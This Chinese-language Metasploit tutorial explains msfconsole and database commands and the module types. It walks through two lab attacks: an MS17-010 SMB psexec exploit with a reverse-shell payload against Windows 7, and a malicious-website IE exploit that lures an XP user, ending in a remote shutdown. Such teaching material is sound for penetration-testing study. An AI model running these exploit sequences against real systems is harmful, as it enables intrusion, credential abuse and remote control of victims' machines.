MSF系列:
MSF——Metasploit Framework
目前最流行、最強大、最具擴展性的滲透測試平台軟件
2003年由HD More發布第一版,2007年用ruby語言重寫,MSF默認集成在Kali Linux之中
Kali左側有MSF的快捷方式,可以直接點擊使用,也可以在終端輸入msfconsole啟動MSF
msfdb
用來管理MSF的數據庫的命令
msfdb init # start and initialize the database
msfdb reinit # delete and reinitialize the database
msfdb delete # delete database and stop using it
msfdb start # start the database
msfdb stop # stop the database
msfdb status # check service status
msfdb run # start the database and run msfconsole
MSF架構——技術功能模塊
MSF默認存放模塊的目錄如下
/usr/share/metasploit-framework/modules/
MSF有6個模塊,分別對上面目錄下的6個子文件夾:
auxiliary
負責執行信息收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模塊
exploits
利用系統漏洞進行攻擊的動作,此模塊對應每一個具體漏洞的攻擊方法(主動、被動)
payloads
成功exploit之后,真正在目標系統執行的代碼或指令。分為3種類型的payload,分別是single、stages和stagers。shellcode是特殊的payload,用於拿shell。
- single:all-in-one。完整的payload,這些payload都是一體化的,不需要依賴外部的庫和包。
- stagers:目標計算機內存有限時,先傳輸一個較小的payload用於建立連接
- stages:利用stagers建立的連接下載后續payload
encoders
對payload進行加密,躲避AntiVirus檢查的模塊
nops
提高payload穩定性及維持大小。在滲透攻擊構造惡意數據緩沖區時,常常要在真正要執行的Shellcode之前添加一段空指令區, 這樣當觸發滲透攻擊后跳轉執行ShellCode時,有一個較大的安全着陸區,從而避免受到內存 地址隨機化、返回地址計算偏差等原因造成的ShellCode執行失敗,提高滲透攻擊的可靠性。
post
后期滲透模塊。在取得目標系統遠程控制權后,進行一系列的后滲透攻擊動作,如獲取敏感信息、跳板攻擊等操作
基本使用
Kali中更新MSF
apt update apt install metasploit-framework
msfconsole
控制台命令支持TAB補全,支持外部命令的執行(系統命令)
- help或?:
- 顯示msfconsole可以使用的命令。help <command>,顯示某一命令的用法。
- connect:
- 可以理解成MSF中的nc命令,可以使用connect -h查看詳細用法。
- connect [options] <host> <port>
- show:
- 用show命令查看msf提供的資源。在根目錄下執行的話,由於有些模塊資源比較多,需要執行show命令要較長的時間
- show exploits:查看可以使用的exploit
- 除了exploits,還支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模塊后才能使用,比如給show targets。
- search:
- 搜索模塊
- 簡單搜索:seach ms17_010
- 多條件搜索縮小范圍:search name:mysql type:exploit platform:linux
- info:
- 查看模塊的信息
- info <module name>
- 如果用use使用了一個模塊,直接輸入info即可查看
- use:
- search找到模塊后,用use使用模塊
- use exploit/windows/smb/ms08_067_netapi
- 用use使用一個模塊后,可以使用 show options查看我們需要配置的選項、使用show targets選擇目標主機系統、使用show payloads選擇payload、使用show advanced查看高級參數、使用show evasion查看用來做混淆、逃避的模塊。
- set/setg:
- 設置參數,比如要滲透的主機IP、payload等。我們可以用show missing查看沒有設置的參數
- setg是設置全局變量,避免每個模塊都要輸入相同的參數
- unset/unsetg:
- 取消設置參數。unsetg是取消設置的全局變量
- save:
- 設置的參數在下一次啟動的時候不會生效,可以用save保存我們使用過程的設置。
- check:
- 檢查目標是否真的存在這個漏洞,大部分模塊沒有check功能
- back:
- 回到msfconsole根目錄
- run或exploit:
- 開始使用模塊
- exploit -j:以后台的方式運行
- sessions:
- 查看當前已經建立的sessions,說明已經拿到了shell
- sessions -i id 可以進入一個session交互
- load/unload:
- 調用外部的掃描命令,比如openvas
-
- loadpath:
- 加載自己的模塊
- route:
- 添加一條路由。比如發往某個子網的流量都通過攻陷的機器發送。
msf數據庫相關
db_status:
- 查看MSF有沒有連接上后台數據庫。如果沒有連上數據庫,在終端輸入msfdb start后再啟動MSF。沒有連接上數據庫MSF也是可以使用的,只是連接上了的話,我們滲透過程中獲取的一些信息可以保存下來,比如目標機器的賬號密碼信息等。
db_rebuild_cache:
- 這個命令將所有模塊信息緩存到數據庫中,通過數據庫檢索效率就高很多了。
db_disconnect:
- 斷開數據庫連接。
db_connect:
- msf默認連上postgresql的msf數據庫。可以用db_connect連接我們指定的數據庫。如果要使用配置文件進行連接,默認的數據庫配置文件為/usr/share/metasploit-framework/config/database.yml,可以參考這個文件進行編寫。
db_nmap:
- 集成在msf中的namp掃描命令。不同的是db_nmap掃描的結果會自動保存到數據庫中。
- 可以輸入hosts查看掃描到的主機信息
- 如果數據多,可以用 hosts IP 進行過濾;hosts -u 查看up狀態的機器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 進行搜索,比如hosts -S windows。
- 輸入services可以查看主機開放的端口情況
creds:
- 查看掃描出來的密碼信息
vulns:
- 查看掃描出來的漏洞信息
loot:
- 有些賬號密碼我們可能沒有獲取到明文信息,可是經過加密的hash值,可以用這個顯示
db_export/db_import:
- 數據庫的導入和導出
- db_export -f /root/msfbak.xml
- nmap導出的也可以導入到msf中
- nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml
Exploit模塊
分為Active Exploit和Passive Exploit
Active Exploit
目標提供了某種服務,服務存在漏洞
- use exploit/windows/smb/ms17_010_psexec
- set RHOST 192.168.1.100
- set PAYLOAD windows/shell/reverse_tcp
- set LHOST 192.168.1.1
- set LPORT 4444
- set SMBUSER user1
- set SMBPASS pass1
- exploit
Passive Exploit
被攻擊者通常不開放端口或開放端口上的服務沒有漏洞,漏洞存在於受害者機器上的客戶端軟件上。客戶端需要訪問某些遠程服務器上的服務,當它訪問的時候,當在服務器上放置了漏洞利用代碼,由於客戶端程序存在漏洞,服務器也會將這些漏洞利用代碼作為響應報文返回給客戶端,造成客戶端漏洞被利用。
- use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
- set URIPATH /
- set PAYLOAD windows/shell/reverse_tcp
- set LHOST 192.168.1.1
- set PORT 4444
- exploit
Active Exploit演示
實驗機器
- 受害者:Windows 7 旗艦版 6.1.7601 Service Pack 1 Build 7601,關閉Windows7防火牆。IP地址為192.168.171.133
- 攻擊者:Kali 4.18.0。IP地址為192.168.171.129
Kali上啟動MSF,可以先啟動postgresql數據庫,防止后面MSF連不上數據庫
service postgresql start
我們利用exploit/windows/smb/ms17_010_psexec進行攻擊,由於它是基於SMB協議的,我們需要知道目標系統的一個用戶賬號和密碼,適合在已經知道目標系統賬號密碼並開放SMB端口的情況下進行攻擊。
然后設置受害者的IP地址,賬號和密碼,並設置payload為windows/shell/reverse_tcp。這是一個反彈連接,我們還需要設置目標反彈連接時的IP地址和端口。
然后輸入exploit執行,可以看到已經創建了一個session
通過session -l可以查看已經創建的會話
根據上面的Id,我們可以sessions -i 1進入這個shell
查看一下目標的機器IP
可以看到上面有很多亂碼,在Kali的終端中,我們可以設置shell中字符的編碼
這時候就不會是亂碼了
Passive Exploit演示
實驗機器
- 受害者:Windows XP SP2 professional。IP地址為192.168.171.135
- 攻擊者:Kali 4.18.0。IP地址為192.168.171.129
打開XP的防火牆
這時候用Active的方式進行攻擊不會成功,采用Passive方式,構造一個鏈接,誘使被害者連接,利用瀏覽器的漏洞。
我們要偽造一個網站,誘使受害者攻擊。SRVHOST可以指定為本機的IP地址,我們也可以打開SSL和設置SSL的證書,迷惑有安全意識的用戶。
URIPATH是訪問的URL地址,可以手動指定,比如192.168.171.129/service,這里我們默認設置為根目錄即可。
然后輸入exploit
它不會主動向受害者的機器發送利用代碼,而是偽造了一個存在漏洞利用代碼的WEB站點,這個站點等待IE版本存在漏洞的用戶去訪問它,將exploit注入到瀏覽器進程中,利用瀏覽器漏洞執行payload
我們在XP機器上用IE瀏覽器訪問這個URL
Kali上已經有了一個sessions,進入這個sessions
輸入以下命令讓XP機器關機
shutdown -s -f -t 0
在XP上就會看到機器正在關機
總結
對開放的服務器一般使用Active的方式,對客戶端程序的攻擊一般使用Passive的方式
參考資料
https://www.freebuf.com/column/194412.html